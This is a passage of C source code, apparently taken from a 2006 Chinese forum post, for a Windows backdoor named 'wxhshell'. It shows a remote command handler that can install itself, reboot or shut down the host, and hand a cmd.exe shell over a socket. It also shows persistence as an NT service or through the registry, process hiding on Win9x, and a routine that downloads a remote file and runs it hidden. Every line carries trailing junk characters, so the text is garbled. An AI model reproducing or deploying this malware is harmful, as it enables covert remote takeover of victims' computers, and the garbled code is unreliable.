  // 帮助 Pjn{3/*wi  
  case '?': { j@w1S[vt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :`E p#[Wvo  
    break; [ [w |  
  } nMZ)x-  
  // 安装 qGX#(,E9;  
  case 'i': { +jK-k_  
    if(Install()) IibYGF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H cyoNY  
    else [q C0YM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nd+1r|e'  
    break; GKjtX?~1  
    } /%s:aO  
  // 卸载 r/HCWs|  
  case 'r': { "<{|ni}  
    if(Uninstall()) ,p OGT71  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Pllxq<n  
    else hF$qH^-c*A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <hj2'd U  
    break; GmaNi  
    } lG Bg8/[  
  // 显示 wxhshell 所在路径 #9Jr?K43  
  case 'p': { 9(nq 4 HvI  
    char svExeFile[MAX_PATH]; cs ?WE9N  
    strcpy(svExeFile,"\n\r"); 1_#;+S  
      strcat(svExeFile,ExeFile); E1tCY.N{  
        send(wsh,svExeFile,strlen(svExeFile),0); ."=%]l 0  
    break; la)^`STh  
    } AFm9"mQrw  
  // 重启 \@WVeFr  
  case 'b': { P"l'? `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {wsJ1 v8!  
    if(Boot(REBOOT)) =*jFaj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ""XAUxo  
    else { ;>f\fhi'  
    closesocket(wsh); 3l45(%g+  
    ExitThread(0); (XW'1@b  
    } w$AR  
    break; Eu:/U*j  
    } C}pm>(F~  
  // 关机 <R;wa@a>  
  case 'd': { _^NaP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iB"ji4[z  
    if(Boot(SHUTDOWN)) &Cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |bnYHP$!  
    else { zfv@<'  
    closesocket(wsh); H@Ot77(*  
    ExitThread(0); fn=A_ i  
    } ,LN^Zx*  
    break; VQ| {Q}  
    } %),u0:go  
  // 获取shell BZHoRd{EH  
  case 's': { ]W14'Z  
    CmdShell(wsh); Xd5s8C/}  
    closesocket(wsh); o2U5irU  
    ExitThread(0); <j>;5!4!}  
    break; )\EIXTZY=  
  } WV.hQX9P  
  // 退出 $/D?Vw:]  
  case 'x': { NytTyk)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T|wz%P<J  
    CloseIt(wsh); h !K" ;qw  
    break; n#b{  
    } 5;HGS{`  
  // 离开 |[Fb&x  
  case 'q': { ){w{#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gqy>;A:kO  
    closesocket(wsh); -5+Yz9pv[  
    WSACleanup(); 1' U  
    exit(1); *2->>"kh  
    break; * 7Ov.v%  
        } &C+2p  
  } XLCqB|8`V  
  } Z>bNU  
_!qD/ [/  
  // 提示信息 | U"fhG=g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EI6kBRMo  
} J ( d[05x0  
  } Ih|4ISI  
[)s4:V  
  return; ~Yi4?B<  
} g^(gT  
n|&=6hiI  
// shell模块句柄 #eOHe4Vt  
int CmdShell(SOCKET sock) ,^8':X"A{!  
{ \f? K74  
STARTUPINFO si; `| ?<KF164  
ZeroMemory(&si,sizeof(si)); <I34@;R c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [B;okW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t-KicLr  
PROCESS_INFORMATION ProcessInfo; _$c o Y  
char cmdline[]="cmd"; .,xyE--;d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sV,Yz3E<u$  
  return 0; 1L4-;HYJm  
} 1b3k|s4   
~LpkA`Hn!  
// 自身启动模式 \DS*G7.A+&  
int StartFromService(void) g:)iEw>a  
{ LX7P?j  
typedef struct |~ fI=1;;x  
{ qS @3:R  
  DWORD ExitStatus; tm.60udbo  
  DWORD PebBaseAddress; 6`Tx meIP  
  DWORD AffinityMask; 3= sBe HL  
  DWORD BasePriority; k+-?b(z)$  
  ULONG UniqueProcessId; {c9 f v H  
  ULONG InheritedFromUniqueProcessId; #J&3Zds  
}   PROCESS_BASIC_INFORMATION; 5tpC$4m  
2I_ yUt-  
PROCNTQSIP NtQueryInformationProcess; By8SRWs  
;!S5P(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U'ctO%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2K};-}eW  
<hCO-r#  
  HANDLE             hProcess; VfpT5W<  
  PROCESS_BASIC_INFORMATION pbi; ydYsmTr  
?8H{AuLB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y?J/KW3  
  if(NULL == hInst ) return 0; 5aW#zgxXg  
4x[_lsj   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >dJuk6J&c&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VqW5VL a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ">. k 6Q  
:Q=y'<  
  if (!NtQueryInformationProcess) return 0; SgewAng?@o  
A1+:y,wXs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SkmTW@v  
  if(!hProcess) return 0; nL=+`aq_  
8bdO-LJ9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pb?vi<ug+  
U[x$QG6m!  
  CloseHandle(hProcess); 4%~*}  
>4luZnWMI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XN Uw  
if(hProcess==NULL) return 0; i,<'AL )  
Itr 4 Pr  
HMODULE hMod; #%nV\ Bl  
char procName[255]; CdRJ@Lf  
unsigned long cbNeeded; ?s$d("~  
GxD`M2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #;ObugY,  
[%bGs1U  
  CloseHandle(hProcess); OgIRI8L  
GD.Ss9_h1  
if(strstr(procName,"services")) return 1; // 以服务启动 }Mt)57rU  
|8CxMs  
  return 0; // 注册表启动 %Hd[,duwO  
} Ez|NQ:o  
3JQ7Cc>  
// 主模块 xtP:Q9!N  
int StartWxhshell(LPSTR lpCmdLine) zw15r" R  
{ ' 4i8&p`/  
  SOCKET wsl; Cwls e-  
BOOL val=TRUE; P*iC#w]m  
  int port=0; bI:W4y>I=  
  struct sockaddr_in door; 5e,u*J]  
l%_K$$C  
  if(wscfg.ws_autoins) Install(); zTB&Wlt  
O$6&4p*F.  
port=atoi(lpCmdLine); RR[zvH} E  
]m1p<*0I$  
if(port<=0) port=wscfg.ws_port; &j1-Ouy  
i%.NP;Qq]M  
  WSADATA data; njxLeD e-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aBReIK o  
:<zIWje  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H5Eso*v@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P#V!hfM  
  door.sin_family = AF_INET; 37kFbR@x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); li3,6{S#  
  door.sin_port = htons(port); 46NuT]6/4  
o+=wQ$"tP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2mzn{S)nV  
closesocket(wsl); #&kj>   
return 1; ;@qS#7SRB  
} >Vt2@Ee  
rz_W]/G-P  
  if(listen(wsl,2) == INVALID_SOCKET) { nQOdM#dP  
closesocket(wsl); I?g}q,!]  
return 1; IXtG 36O  
} 8Y`g$2SZ^8  
  Wxhshell(wsl); .kU^)H" l  
  WSACleanup(); J$yq#LBbR@  
G-)e(u   
return 0; K0( S%v|,}  
_-({MX[3k<  
} kQbZ!yl>[  
nktGO  
// 以NT服务方式启动 Z}!'fX."  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RKzty=j4  
{ LXX('d  
DWORD   status = 0; HJ]v-  
  DWORD   specificError = 0xfffffff; >D!R)W`  
.+(V</  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F\+AA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FhY#3-jH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R&(OWF;~,  
  serviceStatus.dwWin32ExitCode     = 0; kll!tT-N-  
  serviceStatus.dwServiceSpecificExitCode = 0; r craf4%  
  serviceStatus.dwCheckPoint       = 0; "dIWHfQB  
  serviceStatus.dwWaitHint       = 0; @ywtL8"1~  
Jfr'OD2$ %  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WT,I~'r=S  
  if (hServiceStatusHandle==0) return; bT 42G [x  
n',X,P0  
status = GetLastError(); ! 1I# L!9  
  if (status!=NO_ERROR) )  M0(vog  
{ Q /?`);  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 13F]7l-#  
    serviceStatus.dwCheckPoint       = 0; @Nsn0-B?ne  
    serviceStatus.dwWaitHint       = 0; (n7xYGfYS  
    serviceStatus.dwWin32ExitCode     = status; 8%B_nVc  
    serviceStatus.dwServiceSpecificExitCode = specificError; EF:ec9 .  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M}[Q2v\  
    return; _f@,) n  
  } sc+%v1Y#}  
+ GQ{{B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^yB]_*WJ  
  serviceStatus.dwCheckPoint       = 0; id9QfJ9t  
  serviceStatus.dwWaitHint       = 0; G3TS?u8Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dT'}:2  
} *B!Ox}CI.L  
w>f.@luO4  
// 处理NT服务事件,比如:启动、停止 C <:g"F:k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lfM vNv  
{ }:faHLYT  
switch(fdwControl) N}U+K  
{ QxW+|Gt._  
case SERVICE_CONTROL_STOP: 0'*{BAWx  
  serviceStatus.dwWin32ExitCode = 0; ]*| hd/j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9*I[q[>9  
  serviceStatus.dwCheckPoint   = 0; =JE<oVP8  
  serviceStatus.dwWaitHint     = 0; wicsf<]  
  { #Q7:Mu+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z8a{M$-Q  
  } .B~yI3D`M  
  return; B)@Xz<Q  
case SERVICE_CONTROL_PAUSE: KdozB!\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aPxSC>p  
  break; 9~Sa7P  
case SERVICE_CONTROL_CONTINUE: ]>)shH=Yx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7WmLC  
  break; wT!?.Y)aj  
case SERVICE_CONTROL_INTERROGATE: 0-uj0"r`  
  break; aB~k8]q.  
};  m,+PYq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9J7yR}2-F  
} 5(CInl  
YG0/e#5  
// 标准应用程序主函数 yWRIh*>nE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YM;ro5_KF  
{ c`3`}&g#  
C0w_pu  
// 获取操作系统版本 Ux',ma1JK  
OsIsNt=GetOsVer(); ( ww4(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KB~[nZs7  
C {*?  
  // 从命令行安装 b&`~%f-  
  if(strpbrk(lpCmdLine,"iI")) Install(); >(H:eRKq  
x/{-U05  
  // 下载执行文件 -5og)ZGVUA  
if(wscfg.ws_downexe) { :a&M]+!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]g$ky.;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 46T(1_Xt~  
} E!}'cxb^  
g0biw?  
if(!OsIsNt) { fsOlg9  
// 如果时win9x,隐藏进程并且设置为注册表启动 l,Q`;v5|  
HideProc(); 31^/9lb  
StartWxhshell(lpCmdLine); 90+Vw`Gz=  
} /'{vDxZf R  
else <fBJ@>  
  if(StartFromService()) r+%3Y:dZE  
  // 以服务方式启动  =AaF$R  
  StartServiceCtrlDispatcher(DispatchTable); JQbaD-  
else +?6]Vu&|f  
  // 普通方式启动 SPb`Q"  
  StartWxhshell(lpCmdLine); 4Wz1O$*  
pSQ2wjps  
return 0; qdk!.A{   
}
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只看该作者 1 发表于: 2006-10-10
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